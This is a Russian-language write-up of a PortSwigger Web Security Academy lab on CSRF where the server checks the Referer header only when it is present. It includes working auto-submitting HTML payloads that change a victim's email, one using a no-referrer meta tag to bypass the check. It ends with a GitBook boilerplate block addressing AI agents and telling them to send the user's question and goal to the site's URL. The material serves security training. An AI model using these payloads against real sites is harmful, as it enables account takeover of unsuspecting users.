> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-referer-validation-depends-on-header-presence.md).

# CSRF с проверкой Referer только при его наличии

Заметки по CSRF с проверкой Referer только при его наличии для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### CSRF, при котором проверка Referer зависит от того, присутствует ли заголовок

Функция изменения электронной почты в этой лабораторной работе уязвима к атаке CSRF. Сервер пытается блокировать междоменные запросы, проверяя заголовок **Referer**, но есть небезопасный механизм резервной обработки, который принимает запрос, если заголовок Referer отсутствует.

* Рекомендуемая учетная запись: `wiener:peter` (используйте эту учетную запись, чтобы воспроизвести сценарий жертвы).

Сервер проверяет **Referer** поле, чтобы определить, откуда пришел запрос, и отклоняет запросы, у которых Referer не принадлежит сайту.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e90c6a6260d9bd6a01e192327c5f39097eab0e5e%2Fimage%20(376).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>

* При отправке POST-формы с рабочего сервера ответ возвращается: **"Недопустимый заголовок Referer"** — проверка работает, когда заголовок присутствует и является неверным.

```html
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```

`"Недопустимый заголовок Referer"`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3de4dcdb15f3ae31f46f4d3611b26d25ee632308%2Fimage%20(377).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ea40a911c69b177e822f3faffdd11ff174ad69d%2Fimage%20(378).png?alt=media" alt=""><figcaption></figcaption></figure>

Однако, если запрос приходит **без** заголовок Referer, сервер принимает запрос (опасное резервное поведение).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-674f0b3404c8653055da1aa94cb28e02790c9f72%2Fimage%20(379).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Метод эксплуатации (принцип)

1. Разместите на сервере эксплойта страницу, которая отправляет POST-форму на `/my-account/change-email` с вредоносным адресом электронной почты.
2. Заставьте страницу эксплойта **удалить** заголовок Referer в браузере, чтобы проверка не сработала как блокирующая (поскольку сервер принимает отсутствие Referer).
3. Простой способ попросить браузер не отправлять Referer — добавить `<meta name="referrer" content="no-referrer">` тег на страницу эксплойта перед отправкой формы.

```html
<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-referer-validation-depends-on-header-presence.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
